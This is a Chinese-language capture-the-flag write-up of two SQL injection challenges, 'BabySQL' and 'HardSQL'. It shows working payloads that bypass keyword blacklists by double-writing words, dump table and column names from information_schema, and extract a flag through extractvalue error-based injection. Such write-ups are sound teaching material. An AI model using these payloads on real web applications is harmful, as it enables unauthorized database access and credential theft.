3,[极客大挑战 2019]BabySQL
进去看见出题者的提示,使用万能密码,先求闭合,可是语句报错,根据回显看到or被过滤了。
试试双写绕过,结果进去了,这个原理适用于黑名单过滤且只过滤一次。过滤掉or剩下来的o与r会接着组成指令。
1' oorr 1=1#
这时候基本闭合已近出来了,那就看看到底过滤了那些关键字了吧。将能用到的关键字放到错误的sql语句中,看回显。
1' union select order by group_concat(table_name) from information_schema.tables where table_schema=database()#
'der group_concat(table_name) infmation_schema.tables table_schema=database()#'//回显
可见大多关键字被过滤,罗列一下,用到的时候双写即可喽~
union select where from or by
//注意一下,比如order中的or也会被过滤,局部双写即可。
接下来 构造语句,测试回显位置,看表,列,字段即可。
查表//
1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
爆出表名//
b4bsql,geekuser
查列//
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql"#
1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="geekuser"#
爆出列名//
id,username,password
id,username,password
查字段//
1' ununionion seselectlect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql #
最后在b4bsql下找到flag。
4,[极客大挑战 2019]HardSQL
哈哈,出题者真好玩,真如题目名字一样,这题挺难,随便输入用户名加密码会正常显示错误,而当使用一些非法语句时会被出题者认出来。经过测试,大部分关键字被ban了,于是结合一下别的大佬经验走一步看一步吧。
测试了一下闭合,ban了空格与许多关键字,这里可以使用URL编码来绕过空格,也可以使用括号,由于联合查询(union select)也被ban了,这时候可以试试报错注入。
1'^extractvalue(1,concat(0x5c,(select(database()))))%23
给出了数据库名
爆出表名。
admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
爆出字段,发现flag显示不全,这个时候添加左右显示即可。
爆字段//
1%27^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
显示左30//
1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
显示右30//
1%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
拼凑一下得到flag。
flag{7473f3ad-0008-456d-b84b-9
~d-0008-456d-b84b-9077d6415806}
flag{7473f3ad-0008-456d-b84b-9077d6415806}
感悟
刷到报错注入这题是,不看讲解是一点头绪也没有,根据别的大佬经验学到了使用burp来爆破过滤的字符串,同时注入语句在hackbar中完成比较好,抓包也行,直接在给的表单提交会有一点问题,也了解了一些报错原理,日后在同一做出一些总结吧。